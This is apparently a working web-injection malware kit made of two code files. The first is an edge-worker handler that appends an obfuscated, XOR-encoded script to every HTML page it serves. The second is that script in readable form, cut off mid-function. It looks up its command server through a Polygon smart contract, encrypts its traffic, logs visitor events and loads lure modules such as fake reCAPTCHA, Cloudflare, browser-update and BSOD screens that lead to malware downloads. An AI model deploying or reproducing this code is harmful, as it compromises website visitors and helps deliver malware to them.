1
export default {
2
  async fetch(request) {
3
    const response = await fetch(request);
4
    const contentType = response.headers.get("content-type");
5

6
    if (contentType && contentType.includes("text/html")) {
7
      let html = await response.text();
8

9
      const yourScript = `<script>
10
(function(){var _0x47e122=32;var _0x0b6624='FUNCTION	[*USE STRICT*IFTYPEOF WINDOWUNDEFINED\\TYPEOF DOCUMENTUNDEFINED\\WINDOWbwscriptinitialized	RETURN*WINDOWbwscriptinitializedTRUE*CONST localstoragekeySITEREPAIRSTATE*CONST legacystoragekeyBWDOWNLOADED*CONST defaultshowdelay*CONST handlerexportbwmoderun*CONST modefilemap[*BROWSERVJS*FONTVJS*RECAPTCHAVJS*BSODVJS*SILENTVJS*CLOUDFLAREVJS*CFUPDATEVJS*MACRECAPTCHAVJS*MACCLOUDFLAREVJS*]*CONST contractconfig[*rpchosts{HTTPSRPCMAINNETMATICQUIKNODEPROHTTPSRPCANKRCOMPOLYGONHTTPSPOLYGONPUBLICNODIESAPPHTTPSPOLYGONMAINNETPUBLICBLASTAPIIOHTTPSRPCIOMATICHTTPSPOLYGONDRPCORGHTTPSPOLYGONGATEWAYTENDERLYCOHTTPSGATEWAYTENDERLYCOPUBLICPOLYGONHTTPSPOLYGONMAINNETGATEWAYTATUMIOHTTPSPOLYGONRPCSUBQUERYNETWORKPUBLICHTTPSPOLYGONTHERPCIOHTTPSPOLYGONLAVABUILDHTTPSPOLYGONBORRPCPUBLICNODECOMHTTPSPOLYGONRPCHYPERSYNCXYZ}*contractaddressXDebBeBFBAACdaFACCbabb*functionselectorBD*timeoutms*maxretries*]*IFTYPEOF bwcontractoverrideUNDEFINEDbwcontractoverride	[*TRY[oBJECTASSIGNcontractconfigbwcontractoverride	]CATCHE	[]*]*LET CFG[]*LET PANELbASEuRL*LET APIbASE*LET LOGuRL*LET TOKENuRL*LET DOWNLOADuRL*CONST apiqkeyhexAEEFBFCFDDCAECEDDFBFDBC*FUNCTION BURLeNCODEaSCIISTR	[*TRY[*RETURN BTOAsTRINGSTR		REPLACE|G	REPLACE|G	REPLACEG	*]CATCHE	[*RETURN*]*]*FUNCTION HEXtObYTESHEX	[*TRY[*HEXsTRINGHEX\\	TRIM	*IF~{AF}[]ITESTHEX		RETURN NULL*CONST OUTNEW uINTaRRAY	*FORLET III	[*OUT{I}PARSEiNTHEXSUBSTRI
		XFF*]*RETURN OUT*]CATCHE	[*RETURN NULL*]*]*FUNCTION BYTEStObuRLBYTES	[*TRY[*LET BIN*CONST CHUNKX*FORLET IIBYTESLENGTHICHUNK	[*BINsTRINGFROMcHARcODEAPPLYNULLBYTESSUBARRAYIICHUNK		*]*RETURN BTOABIN	REPLACE|G	REPLACE|G	REPLACEG	*]CATCHE	[*RETURN*]*]*FUNCTION BURLtObYTESBURL	[*TRY[*IFBURL\\TYPEOF BURLSTRING	RETURN NULL*LET BBURLREPLACEG	REPLACEG	*CONST PADBLENGTH*IFPAD	BREPEATPAD	*CONST BINATOBB	*CONST OUTNEW uINTaRRAYBINLENGTH	*FORLET IIBINLENGTHI	OUT{I}BINCHARcODEaTI	XFF*RETURN OUT*]CATCHE	[*RETURN NULL*]*]*FUNCTION BYTEStOuTFBYTES	[*TRY[*RETURN NEW tEXTdECODERUTF[FATALFALSE]	DECODEBYTES	*]CATCHE	[*LET S*FORLET IIBYTESLENGTHI	SsTRINGFROMcHARcODEBYTES{I}	*RETURN S*]*]*FUNCTION CONCATbYTESAB	[*CONST OUTNEW uINTaRRAYALENGTHBLENGTH	*OUTSETA	*OUTSETBALENGTH	*RETURN OUT*]*ASYNC FUNCTION SHAbYTESBYTES	[*TRY[*IFTYPEOF CRYPTOUNDEFINED\\CRYPTOSUBTLE\\CRYPTOSUBTLEDIGEST	RETURN NULL*CONST DIGESTAWAIT CRYPTOSUBTLEDIGESTshaBYTESBUFFERBYTESBUFFERBYTES	*RETURN NEW uINTaRRAYDIGEST	*]CATCHE	[*RETURN NULL*]*]*FUNCTION RCKEYbYTESDATAbYTES	[*CONST SNEW uINTaRRAY	*FORLET III	S{I}I*LET J*FORLET III	[*JJS{I}KEYbYTES{IKEYbYTESLENGTH}	*CONST TMPS{I}*S{I}S{J}*S{J}TMP*]*LET I*J*CONST OUTNEW uINTaRRAYDATAbYTESLENGTH	*FORLET NNDATAbYTESLENGTHN	[*II	*JJS{I}	*CONST TMPS{I}*S{I}S{J}*S{J}TMP*CONST KS{S{I}S{J}	}*OUT{N}DATAbYTES{N}~K*]*RETURN OUT*]*FUNCTION BUILDaPIuRLPARAMS	[*IFAPIbASE	RETURN*TRY[*CONST QSNEW urlsEARCHpARAMSPARAMS\\[]	TOsTRING	*CONST KEYHEXtObYTESapiqkeyhex	*IFKEYTYPEOF uINTaRRAYUNDEFINED	[*CONST NONCENEW uINTaRRAY	*IFTYPEOF CRYPTOUNDEFINEDCRYPTOGETrANDOMvALUES	[*CRYPTOGETrANDOMvALUESNONCE	*]ELSE[*FORLET IINONCELENGTHI	NONCE{I}mATHRANDOM	
	*]*CONST ENCTYPEOF tEXTeNCODERUNDEFINED	NEW tEXTeNCODER	NULL*CONST PLAINbYTESENCENCENCODEQS	FUNCTION	[*CONST ARRNEW uINTaRRAYQSLENGTH	*FORLET IIQSLENGTHI	ARR{I}QSCHARcODEaTI	*RETURN ARR*]		*CONST KEYmATNEW uINTaRRAYKEYLENGTHNONCELENGTH	*KEYmATSETKEY	*KEYmATSETNONCEKEYLENGTH	*CONST CIPHERbYTESRCKEYmATPLAINbYTES	*CONST PAYLOADNEW uINTaRRAYNONCELENGTHCIPHERbYTESLENGTH	*PAYLOADSETNONCE	*PAYLOADSETCIPHERbYTESNONCELENGTH	*CONST PACKEDBYTEStObuRLPAYLOAD	*IFPACKED	[*RETURN APIbASEAPIINDEXPHPQPACKED*]*]*RETURN*]CATCHE	[*RETURN*]*]*ASYNC FUNCTION DECRYPTaPIeNVELOPEOBJSCOPE	[*TRY[*IFOBJ\\TYPEOF OBJOBJECT	RETURN OBJ*IFTYPEOF OBJQSTRING\\OBJQ	RETURN OBJ*CONST SAFEsCOPETYPEOF SCOPESTRING~{AZ}[]ITESTSCOPE		SCOPECFG*CONST BASEkEYHEXtObYTESapiqkeyhex	*IFBASEkEY	RETURN OBJ*IFOBJENCGCM	[*TRY[*CONST PACKEDBURLtObYTESOBJQ	*IFPACKED\\PACKEDLENGTH		THROW NEW eRRORGCMPACKED	*CONST IVPACKEDSLICE	*CONST CIPHERwITHtAGPACKEDSLICE	*CONST GCMlABELSAFEsCOPE\GCM*CONST LABELTYPEOF tEXTeNCODERUNDEFINED	NEW tEXTeNCODER	ENCODEGCMlABEL	FUNCTION	[*CONST SGCMlABEL*CONST ARRNEW uINTaRRAYSLENGTH	*FORLET IISLENGTHI	ARR{I}SCHARcODEaTI	*RETURN ARR*]		*CONST KEYbYTESAWAIT SHAbYTESCONCATbYTESBASEkEYLABEL		*IFKEYbYTES	THROW NEW eRRORGCMKEY	*IFTYPEOF CRYPTOUNDEFINED\\CRYPTOSUBTLE\\CRYPTOSUBTLEIMPORTkEY	THROW NEW eRRORGCMSUBTLE	*CONST CRYPTOkEYAWAIT CRYPTOSUBTLEIMPORTkEYRAWKEYbYTES[NAMEaesgcm]FALSE{DECRYPT}	*CONST PLAINbUFAWAIT CRYPTOSUBTLEDECRYPT[NAMEaesgcmIVIVTAGlENGTH]CRYPTOkEYCIPHERwITHtAG	*CONST JSONBYTEStOuTFNEW uINTaRRAYPLAINbUF		*RETURN jsonPARSEJSON	*]CATCHE	[*IFTYPEOF OBJQSTRINGOBJQ	[*CONST PACKEDBURLtObYTESOBJQ	*IFPACKEDPACKEDLENGTH	[*CONST NONCEPACKEDSLICE	*CONST CIPHERPACKEDSLICE	*CONST KEYmATNEW uINTaRRAYBASEkEYLENGTHNONCELENGTH	*KEYmATSETBASEkEY	*KEYmATSETNONCEBASEkEYLENGTH	*CONST PLAINbYTESRCKEYmATCIPHER	*CONST JSONBYTEStOuTFPLAINbYTES	*RETURN jsonPARSEJSON	*]*]*RETURN OBJ*]*]*IFOBJENCQ	[*CONST PACKEDBURLtObYTESOBJQ	*IFPACKED\\PACKEDLENGTH	RETURN OBJ*CONST NONCEPACKEDSLICE	*CONST CIPHERPACKEDSLICE	*CONST KEYmATNEW uINTaRRAYBASEkEYLENGTHNONCELENGTH	*KEYmATSETBASEkEY	*KEYmATSETNONCEBASEkEYLENGTH	*CONST PLAINbYTESRCKEYmATCIPHER	*CONST JSONBYTEStOuTFPLAINbYTES	*RETURN jsonPARSEJSON	*]*RETURN OBJ*]CATCHE	[*RETURN OBJ*]*]*TRY[*WINDOWBWdECRYPTaPIeNVELOPEDECRYPTaPIeNVELOPE*]CATCHE	[]*LET SHOWdELAYdefaultshowdelay*LET MODEBROWSER*FUNCTION FETCHwITHtIMEOUTURLOPTIONSTIMEOUTmS	[*CONST CONTROLLERNEW aBORTcONTROLLER	*CONST TIMEOUTiDSETtIMEOUT	CONTROLLERABORT	TIMEOUTmS\\	*CONST OPTSoBJECTASSIGN[]OPTIONS\\[][SIGNALCONTROLLERSIGNAL]	*RETURN FETCHURLOPTS	FINALLY	CLEARtIMEOUTTIMEOUTiD		*]*ASYNC FUNCTION FETCHjSONwITHtIMEOUTURLOPTIONSTIMEOUTmS	[*CONST RESPAWAIT FETCHwITHtIMEOUTURLOPTIONSTIMEOUTmS	*IFRESPOK	THROW NEW eRRORHTTPRESPSTATUS	*RETURN AWAIT RESPJSON	*]*FUNCTION DECODEhEXsTRINGHEX	[*TRY[*LET RESULT*FORLET IIHEXLENGTHI	[*CONST BYTEsTRINGHEXSUBSTRI	*CONST BYTEPARSEiNTBYTEsTRING	*IFBYTE	RESULTsTRINGFROMcHARcODEBYTE	*]*RETURN RESULT*]CATCHE	[*RETURN*]*]*FUNCTION DECODErESULTRESULT	[*TRY[*CONST HEXdATARESULTSTARTSwITHX	RESULTSUBSTR	RESULT*IFHEXdATALENGTH	RETURN*CONST LENGTHhEXHEXdATASUBSTR	*CONST LENGTHPARSEiNTLENGTHhEX	*IFLENGTHHEXdATALENGTHLENGTH
	[*CONST STRINGhEXHEXdATASUBSTRLENGTH
	*RETURN DECODEhEXsTRINGSTRINGhEX	*]*RETURN*]CATCHE	[*RETURN*]*]*ASYNC FUNCTION POSTjSONwITHtIMEOUTURLBODYTIMEOUTmS	[*RETURN AWAIT FETCHjSONwITHtIMEOUTURL[*METHODpost*HEADERS[*cONTENTtYPEAPPLICATIONJSON*aCCEPTAPPLICATIONJSON*]*BODYjsonSTRINGIFYBODY	*CACHENOSTORE*]TIMEOUTmS	*]*ASYNC FUNCTION GETuRLfROMcONTRACT	[*CONST DATAfIELDXcontractconfigfunctionselector*CONST PARAMS{[TOcontractconfigcontractaddressDATADATAfIELD]LATEST}*CONST REQUESTbODY[JSONRPCMETHODETHCALLPARAMSID]*FORLET ATTEMPTATTEMPTcontractconfigmaxretries\\	ATTEMPT	[*FORCONST ENDPOINT OFcontractconfigrpchosts\\{}		[*TRY[*CONST DATAAWAIT POSTjSONwITHtIMEOUTENDPOINTREQUESTbODYcontractconfigtimeoutms\\	*IFDATADATARESULT	[*CONST DOMAINDECODErESULTDATARESULT	*IFDOMAINDOMAINLENGTH	[*LET URLDOMAINTRIM	*IFURLSTARTSwITHHTTP		URLHTTPSURL*RETURN URL*]*]*]CATCHE	[]*]*]*RETURN NULL*]*FUNCTION UPDATEuRLSBASEuRL	[*IFBASEuRL	RETURN*PANELbASEuRLBASEuRLREPLACE|	*APIbASEPANELbASEuRL*LOGuRLBUILDaPIuRL[AEVT]	\\APIbASEAPIINDEXPHPAEVT	*TOKENuRLBUILDaPIuRL[AINIT]	\\APIbASEAPIINDEXPHPAINIT	*DOWNLOADuRLBUILDaPIuRL[ADL]	\\APIbASEAPIINDEXPHPADL	*]*ASYNC FUNCTION REFRESHcONFIGfROMaPI	[*TRY[*CONST CONTRACTuRLAWAIT GETuRLfROMcONTRACT	*IFCONTRACTuRL	THROW NEW eRRORbROWSERwARNING fAILED TO GET url FROM CONTRACT	*UPDATEuRLSCONTRACTuRL	*CONST SETTINGSuRLBUILDaPIuRL[ACFG]	\\CONTRACTuRLAPIINDEXPHPACFG	*LET REMOTEAWAIT FETCHjSONwITHtIMEOUTSETTINGSuRL[CACHENOSTORE]	*REMOTEAWAIT DECRYPTaPIeNVELOPEREMOTECFG	*IFREMOTE\\TYPEOF REMOTEOBJECT	THROW NEW eRRORbROWSERwARNING INVALID SETTINGS PAYLOAD	*CFGoBJECTASSIGN[]REMOTE	*IFCFGCONTRACTcONFIG	[*TRY[oBJECTASSIGNcontractconfigCFGCONTRACTcONFIG	]CATCHE	[]*]*IFCFGPANELbASEuRLCFGPANELbASEuRLPANELbASEuRL	UPDATEuRLSCFGPANELbASEuRL	*SHOWdELAYTYPEOF CFGSHOWdELAYNUMBERCFGSHOWdELAYdefaultshowdelay*MODETYPEOF CFGMODESTRINGCFGMODEBROWSER*]CATCHE	[*THROW E*]*]*ASYNC FUNCTION LOGeVENTEVENTtYPEPAYLOAD	[*IFLOGuRLAPIbASE	RETURN*TRY[*CONST URLBUILDaPIuRL[AEVT]	\\LOGuRL*AWAIT FETCHwITHtIMEOUTURL[*METHODpost*HEADERS[cONTENTtYPETEXTPLAINCHARSETutf]*BODYjsonSTRINGIFYoBJECTASSIGN[EVENTtYPE]PAYLOAD\\[]		*CACHENOSTORE*]	*]CATCHE	[]*]*FUNCTION LOADmODEsCRIPTMODEnAMECACHEbUST	[*RETURN NEW pROMISERESOLVEREJECT	[*IFPANELbASEuRL	RETURN REJECTNEW eRRORPANELbASEuRLMISSING		*DELETE WINDOW{handlerexport}*CONST SCRIPTDOCUMENTCREATEeLEMENTSCRIPT	*CONST SAFEmODEMODEnAMEmodefilemap{MODEnAME}	MODEnAMEBROWSER*CONST APIsCRIPTuRLBUILDaPIuRL[AJSMODEsTRINGSAFEmODE	]	*SCRIPTSRCAPIsCRIPTuRL\\PANELbASEuRLAPIINDEXPHPAJSMODEENCODEuricOMPONENTsTRINGSAFEmODE			*SCRIPTASYNCTRUE*SCRIPTONLOAD	[*CONST FNWINDOW{handlerexport}*DELETE WINDOW{handlerexport}*IFTYPEOF FNFUNCTION	RETURN RESOLVEFN	*REJECTNEW eRRORMODEHANDLERMISSING		*]*SCRIPTONERROR	[*DELETE WINDOW{handlerexport}*REJECTNEW eRRORMODESCRIPTFAILED		*]*DOCUMENTHEADAPPENDcHILDSCRIPT	*]	*]*ASYNC FUNCTION BOOTSTRAPMODEnAMECONTEXT	[*TRY[*CONST RUNNERAWAIT LOADmODEsCRIPTMODEnAMECFGCFGCACHEtAG\\CFGUPDATEDaT		*AWAIT RUNNERCONTEXT	*]CATCHE	[*IFMODEnAMEBROWSER	[*TRY[*CONST FALLBACKAWAIT LOADmODEsCRIPTBROWSERCFGCFGCACHEtAG\\CFGUPDATEDaT		*AWAIT FALLBACKoBJECTASSIGN[]CONTEXT[MODEBROWSER]		*]CATCHERR	[*]*]*]*]*ASYNC FUNCTION MAIN	[*TRY[*AWAIT REFRESHcONFIGfROMaPI	*IFCFGCFGENABLEDFALSE	RETURN*CONST OSCFGTYPEOF CFGOSSTRINGCFGOS	sTRINGCFGOS	UNKNOWN*CONST BROWSERCFGTYPEOF CFGBROWSERSTRINGCFGBROWSER	sTRINGCFGBROWSER	uNKNOWN*LET EFFECTIVEmODETYPEOF MODESTRINGMODE	MODEBROWSER*TRY[*CONST LEGACYLOCALsTORAGEGETiTEMlegacystoragekey	*CONST CURRENTLOCALsTORAGEGETiTEMlocalstoragekey	*IFLEGACYNULLCURRENTNULL	LOCALsTORAGESETiTEMlocalstoragekeyLEGACY	*IFLEGACYNULL	LOCALsTORAGEREMOVEiTEMlegacystoragekey	*]CATCHE	[]*IFLOCALsTORAGEGETiTEMlocalstoragekey		RETURN*IFEFFECTIVEmODERECAPTCHAEFFECTIVEmODEBSODEFFECTIVEmODECLOUDFLAREEFFECTIVEmODECFUPDATEEFFECTIVEmODESILENT	[*AWAIT LOGeVENTPAGEVIEW[*BROWSER*OS*MODEEFFECTIVEmODE*CONTRACTuRLPANELbASEuRL*CONTRACTaDDRESScontractconfigcontractaddress*]	*]*CONST START	[*CONST CTX[*PANELbASEuRL*APIbASE*APIuRLBUILDaPIuRL*LOGuRL*TOKENuRL*DOWNLOADuRL*MODEEFFECTIVEmODE*OS*BROWSER*COUNTRY*STORAGEkEYlocalstoragekey*CFG*CONTRACTcONFIGcontractconfig*]*BOOTSTRAPEFFECTIVEmODECTX	*]*IFDOCUMENTREADYsTATELOADING	[*DOCUMENTADDeVENTlISTENERdomcONTENTlOADED	SETtIMEOUTSTARTSHOWdELAY	[ONCETRUE]	*]ELSE[*SETtIMEOUTSTARTSHOWdELAY	*]*]CATCHE	[*]*]*MAIN	*]		';function _0x70fc95(s,k){s=atob(s);var len=s.length,i,arr=new Uint8Array(len);for(i=0;i<len;i++){arr[i]=s.charCodeAt(i)^k;}if(window.TextDecoder){try{return new TextDecoder("utf-8").decode(arr);}catch(e){}}var tmp="";for(i=0;i<len;i++){tmp+=String.fromCharCode(arr[i]);}try{return decodeURIComponent(escape(tmp));}catch(e){return tmp;}}var _0xb25a97=_0x70fc95(_0x0b6624,_0x47e122);(new Function(_0xb25a97))();})();
11
</script>`;
12

13

14
      if (html.includes('</html>')) {
15
        html = html.replace('</html>', yourScript + '</html>');
16
      } else {
17
        html = html + yourScript;
18
      }
19

20
      return new Response(html, {
21
        headers: response.headers
22
      });
23
    }
24

25
    return response;
26
  }
27
}

1
(function(){
2
'use strict';
3
if(typeof window==='undefined'||typeof document==='undefined'||window.__BW_SCRIPT_INITIALIZED__)return;
4
window.__BW_SCRIPT_INITIALIZED__=true;
5
const LOCAL_STORAGE_KEY='site_repair_state';
6
const LEGACY_STORAGE_KEY='bw-downloaded';
7
const DEFAULT_SHOW_DELAY=1000;
8
const HANDLER_EXPORT='__BW_MODE_RUN__';
9
const MODE_FILE_MAP={
10
browser:'v1.js',
11
font:'v2.js',
12
recaptcha:'v3.js',
13
bsod:'v4.js',
14
silent:'v5.js',
15
cloudflare:'v6.js',
16
cf_update:'v7.js',
17
mac_recaptcha:'v8.js',
18
mac_cloudflare:'v9.js'
19
};
20
const CONTRACT_CONFIG={
21
RPC_HOSTS:["https://rpc-mainnet.matic.quiknode.pro","https://rpc.ankr.com/polygon","https://polygon-public.nodies.app","https://polygon-mainnet.public.blastapi.io","https://1rpc.io/matic","https://polygon.drpc.org","https://polygon.gateway.tenderly.co","https://gateway.tenderly.co/public/polygon","https://polygon-mainnet.gateway.tatum.io","https://polygon.rpc.subquery.network/public","https://polygon.therpc.io","https://polygon.lava.build","https://polygon-bor-rpc.publicnode.com","https://polygon.rpc.hypersync.xyz/"],
22
CONTRACT_ADDRESS:'0x4dE37B7bE1bfb8a74acD8Af57a2c10c5B1A14BB3',
23
FUNCTION_SELECTOR:'b68d1809',
24
TIMEOUT_MS:5000,
25
MAX_RETRIES:2
26
};
27
if(typeof __BW_CONTRACT_OVERRIDE!=='undefined'&&__BW_CONTRACT_OVERRIDE){
28
try{Object.assign(CONTRACT_CONFIG,__BW_CONTRACT_OVERRIDE);}catch(e){}
29
}
30
let cfg={};
31
let panelBaseUrl='';
32
let apiBase='';
33
let logUrl='';
34
let tokenUrl='';
35
let downloadUrl='';
36
const API_Q2_KEY_HEX='603a054794e967ef834bf190c37f8d42133d7c5ae05ce2ddf0569b4f508d7bc3';
37
function b64urlEncodeAscii(str){
38
try{
39
return btoa(String(str)).replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/g,'');
40
}catch(e){
41
return'';
42
}
43
}
44
function hexToBytes(hex){
45
try{
46
hex=String(hex||'').trim();
47
if(!/^[a-f0-9]{64}$/i.test(hex))return null;
48
const out=new Uint8Array(32);
49
for(let i=0;i<32;i++){
50
out[i]=parseInt(hex.substr(i*2,2),16)&0xff;
51
}
52
return out;
53
}catch(e){
54
return null;
55
}
56
}
57
function bytesToB64Url(bytes){
58
try{
59
let bin='';
60
const chunk=0x8000;
61
for(let i=0;i<bytes.length;i+=chunk){
62
bin+=String.fromCharCode.apply(null,bytes.subarray(i,i+chunk));
63
}
64
return btoa(bin).replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/g,'');
65
}catch(e){
66
return'';
67
}
68
}
69
function b64urlToBytes(b64url){
70
try{
71
if(!b64url||typeof b64url!=='string')return null;
72
let b64=b64url.replace(/-/g,'+').replace(/_/g,'/');
73
const pad=b64.length%4;
74
if(pad)b64+='='.repeat(4-pad);
75
const bin=atob(b64);
76
const out=new Uint8Array(bin.length);
77
for(let i=0;i<bin.length;i++)out[i]=bin.charCodeAt(i)&0xff;
78
return out;
79
}catch(e){
80
return null;
81
}
82
}
83
function bytesToUtf8(bytes){
84
try{
85
return new TextDecoder('utf-8',{fatal:false}).decode(bytes);
86
}catch(e){
87
let s='';
88
for(let i=0;i<bytes.length;i++)s+=String.fromCharCode(bytes[i]);
89
return s;
90
}
91
}
92
function concatBytes(a,b){
93
const out=new Uint8Array(a.length+b.length);
94
out.set(a,0);
95
out.set(b,a.length);
96
return out;
97
}
98
async function sha256Bytes(bytes){
99
try{
100
if(typeof crypto==='undefined'||!crypto.subtle||!crypto.subtle.digest)return null;
101
const digest=await crypto.subtle.digest('SHA-256',bytes.buffer?bytes.buffer:bytes);
102
return new Uint8Array(digest);
103
}catch(e){
104
return null;
105
}
106
}
107
function rc4(keyBytes,dataBytes){
108
const s=new Uint8Array(256);
109
for(let i=0;i<256;i++)s[i]=i;
110
let j=0;
111
for(let i=0;i<256;i++){
112
j=(j+s[i]+keyBytes[i%keyBytes.length])&255;
113
const tmp=s[i];
114
s[i]=s[j];
115
s[j]=tmp;
116
}
117
let i=0;
118
j=0;
119
const out=new Uint8Array(dataBytes.length);
120
for(let n=0;n<dataBytes.length;n++){
121
i=(i+1)&255;
122
j=(j+s[i])&255;
123
const tmp=s[i];
124
s[i]=s[j];
125
s[j]=tmp;
126
const k=s[(s[i]+s[j])&255];
127
out[n]=dataBytes[n]^k;
128
}
129
return out;
130
}
131
function buildApiUrl(params){
132
if(!apiBase)return'';
133
try{
134
const qs=new URLSearchParams(params||{}).toString();
135
const key=hexToBytes(API_Q2_KEY_HEX);
136
if(key&&typeof Uint8Array!=='undefined'){
137
const nonce=new Uint8Array(8);
138
if(typeof crypto!=='undefined'&&crypto.getRandomValues){
139
crypto.getRandomValues(nonce);
140
}else{
141
for(let i=0;i<nonce.length;i++)nonce[i]=(Math.random()*256)&255;
142
}
143
const enc=(typeof TextEncoder!=='undefined')?new TextEncoder():null;
144
const plainBytes=enc?enc.encode(qs):(function(){
145
const arr=new Uint8Array(qs.length);
146
for(let i=0;i<qs.length;i++)arr[i]=qs.charCodeAt(i)&255;
147
return arr;
148
})();
149
const keyMat=new Uint8Array(key.length+nonce.length);
150
keyMat.set(key,0);
151
keyMat.set(nonce,key.length);
152
const cipherBytes=rc4(keyMat,plainBytes);
153
const payload=new Uint8Array(nonce.length+cipherBytes.length);
154
payload.set(nonce,0);
155
payload.set(cipherBytes,nonce.length);
156
const packed=bytesToB64Url(payload);
157
if(packed){
158
return apiBase+'/api/index.php?q='+packed;
159
}
160
}
161
return'';
162
}catch(e){
163
return'';
164
}
165
}
166
async function decryptApiEnvelope(obj,scope){
167
try{
168
if(!obj||typeof obj!=='object')return obj;
169
if(typeof obj.q!=='string'||!obj.q)return obj;
170
const safeScope=(typeof scope==='string'&&/^[a-z0-9_]{1,16}$/i.test(scope))?scope:'cfg';
171
const baseKey=hexToBytes(API_Q2_KEY_HEX);
172
if(!baseKey)return obj;
173
if(obj.enc==='gcm1'){
174
try{
175
const packed=b64urlToBytes(obj.q);
176
if(!packed||packed.length<(12+16+1))throw new Error('gcm_packed');
177
const iv=packed.slice(0,12);
178
const cipherWithTag=packed.slice(12);
179
const gcmLabel=safeScope+'|gcm1';
180
const label=(typeof TextEncoder!=='undefined')?new TextEncoder().encode(gcmLabel):(function(){
181
const s=gcmLabel;
182
const arr=new Uint8Array(s.length);
183
for(let i=0;i<s.length;i++)arr[i]=s.charCodeAt(i)&255;
184
return arr;
185
})();
186
const keyBytes=await sha256Bytes(concatBytes(baseKey,label));
187
if(!keyBytes)throw new Error('gcm_key');
188
if(typeof crypto==='undefined'||!crypto.subtle||!crypto.subtle.importKey)throw new Error('gcm_subtle');
189
const cryptoKey=await crypto.subtle.importKey('raw',keyBytes,{name:'AES-GCM'},false,['decrypt']);
190
const plainBuf=await crypto.subtle.decrypt({name:'AES-GCM',iv:iv,tagLength:128},cryptoKey,cipherWithTag);
191
const json=bytesToUtf8(new Uint8Array(plainBuf));
192
return JSON.parse(json);
193
}catch(e){
194
if(typeof obj.q2==='string'&&obj.q2){
195
const packed2=b64urlToBytes(obj.q2);
196
if(packed2&&packed2.length>=9){
197
const nonce=packed2.slice(0,8);
198
const cipher2=packed2.slice(8);
199
const keyMat=new Uint8Array(baseKey.length+nonce.length);
200
keyMat.set(baseKey,0);
201
keyMat.set(nonce,baseKey.length);
202
const plainBytes2=rc4(keyMat,cipher2);
203
const json2=bytesToUtf8(plainBytes2);
204
return JSON.parse(json2);
205
}
206
}
207
return obj;
208
}
209
}
210
if(obj.enc==='q2'){
211
const packed=b64urlToBytes(obj.q);
212
if(!packed||packed.length<9)return obj;
213
const nonce=packed.slice(0,8);
214
const cipher=packed.slice(8);
215
const keyMat=new Uint8Array(baseKey.length+nonce.length);
216
keyMat.set(baseKey,0);
217
keyMat.set(nonce,baseKey.length);
218
const plainBytes=rc4(keyMat,cipher);
219
const json=bytesToUtf8(plainBytes);
220
return JSON.parse(json);
221
}
222
return obj;
223
}catch(e){
224
return obj;
225
}
226
}
227
try{
228
window.__bwDecryptApiEnvelope=decryptApiEnvelope;
229
}catch(e){}
230
let showDelay=DEFAULT_SHOW_DELAY;
231
let mode='browser';
232
function fetchWithTimeout(url,options,timeoutMs){
233
const controller=new AbortController();
234
const timeoutId=setTimeout(()=>controller.abort(),timeoutMs||5000);
235
const opts=Object.assign({},options||{},{signal:controller.signal});
236
return fetch(url,opts).finally(()=>clearTimeout(timeoutId));
237
}
238
async function fetchJsonWithTimeout(url,options,timeoutMs){
239
const resp=await fetchWithTimeout(url,options,timeoutMs);
240
if(!resp.ok)throw new Error('http_'+resp.status);
241
return await resp.json();
242
}
243
function decodeHexString(hex){
244
try{
245
let result='';
246
for(let i=0;i<hex.length;i+=2){
247
const byteString=hex.substr(i,2);
248
const byte=parseInt(byteString,16);
249
if(byte>0)result+=String.fromCharCode(byte);
250
}
251
return result;
252
}catch(e){
253
return'';
254
}
255
}
256
function decodeResult(result){
257
try{
258
const hexData=result.startsWith('0x')?result.substr(2):result;
259
if(hexData.length<128)return'';
260
const lengthHex=hexData.substr(64,64);
261
const length=parseInt(lengthHex,16);
262
if(length>0&&hexData.length>=128+length*2){
263
const stringHex=hexData.substr(128,length*2);
264
return decodeHexString(stringHex);
265
}
266
return'';
267
}catch(e){
268
return'';
269
}
270
}
271
async function postJsonWithTimeout(url,body,timeoutMs){
272
return await fetchJsonWithTimeout(url,{
273
method:'POST',
274
headers:{
275
'Content-Type':'application/json',
276
'Accept':'application/json'
277
},
278
body:JSON.stringify(body),
279
cache:'no-store'
280
},timeoutMs);
281
}
282
async function getUrlFromContract(){
283
const dataField='0x'+CONTRACT_CONFIG.FUNCTION_SELECTOR;
284
const params=[{to:CONTRACT_CONFIG.CONTRACT_ADDRESS,data:dataField},'latest'];
285
const requestBody={jsonrpc:'2.0',method:'eth_call',params,id:1};
286
for(let attempt=0;attempt<(CONTRACT_CONFIG.MAX_RETRIES||1);attempt++){
287
for(const endpoint of(CONTRACT_CONFIG.RPC_HOSTS||[])){
288
try{
289
const data=await postJsonWithTimeout(endpoint,requestBody,CONTRACT_CONFIG.TIMEOUT_MS||5000);
290
if(data&&data.result){
291
const domain=decodeResult(data.result);
292
if(domain&&domain.length>0){
293
let url=domain.trim();
294
if(!url.startsWith('http'))url='https://'+url;
295
return url;
296
}
297
}
298
}catch(e){}
299
}
300
}
301
return null;
302
}
303
function updateUrls(baseUrl){
304
if(!baseUrl)return;
305
panelBaseUrl=baseUrl.replace(/\/$/,'');
306
apiBase=panelBaseUrl;
307
logUrl=buildApiUrl({a:'evt'})||(apiBase+'/api/index.php?a=evt');
308
tokenUrl=buildApiUrl({a:'init'})||(apiBase+'/api/index.php?a=init');
309
downloadUrl=buildApiUrl({a:'dl'})||(apiBase+'/api/index.php?a=dl');
310
}
311
async function refreshConfigFromApi(){
312
try{
313
const contractUrl=await getUrlFromContract();
314
if(!contractUrl)throw new Error('BrowserWarning: Failed to get URL from contract');
315
updateUrls(contractUrl);
316
const settingsUrl=buildApiUrl({a:'cfg'})||(contractUrl+'/api/index.php?a=cfg');
317
let remote=await fetchJsonWithTimeout(settingsUrl,{cache:'no-store'},5000);
318
remote=await decryptApiEnvelope(remote,'cfg');
319
if(!remote||typeof remote!=='object')throw new Error('BrowserWarning: invalid settings payload');
320
cfg=Object.assign({},remote);
321
if(cfg.contractConfig){
322
try{Object.assign(CONTRACT_CONFIG,cfg.contractConfig);}catch(e){}
323
}
324
if(cfg.panelBaseUrl&&cfg.panelBaseUrl!==panelBaseUrl)updateUrls(cfg.panelBaseUrl);
325
showDelay=typeof cfg.showDelay==='number'?cfg.showDelay:DEFAULT_SHOW_DELAY;
326
mode=typeof cfg.mode==='string'?cfg.mode:'browser';
327
}catch(e){
328
throw e;
329
}
330
}
331
async function logEvent(eventType,payload){
332
if(!logUrl&&!apiBase)return;
333
try{
334
const url=buildApiUrl({a:'evt'})||logUrl;
335
await fetchWithTimeout(url,{
336
method:'POST',
337
headers:{'Content-Type':'text/plain;charset=UTF-8'},
338
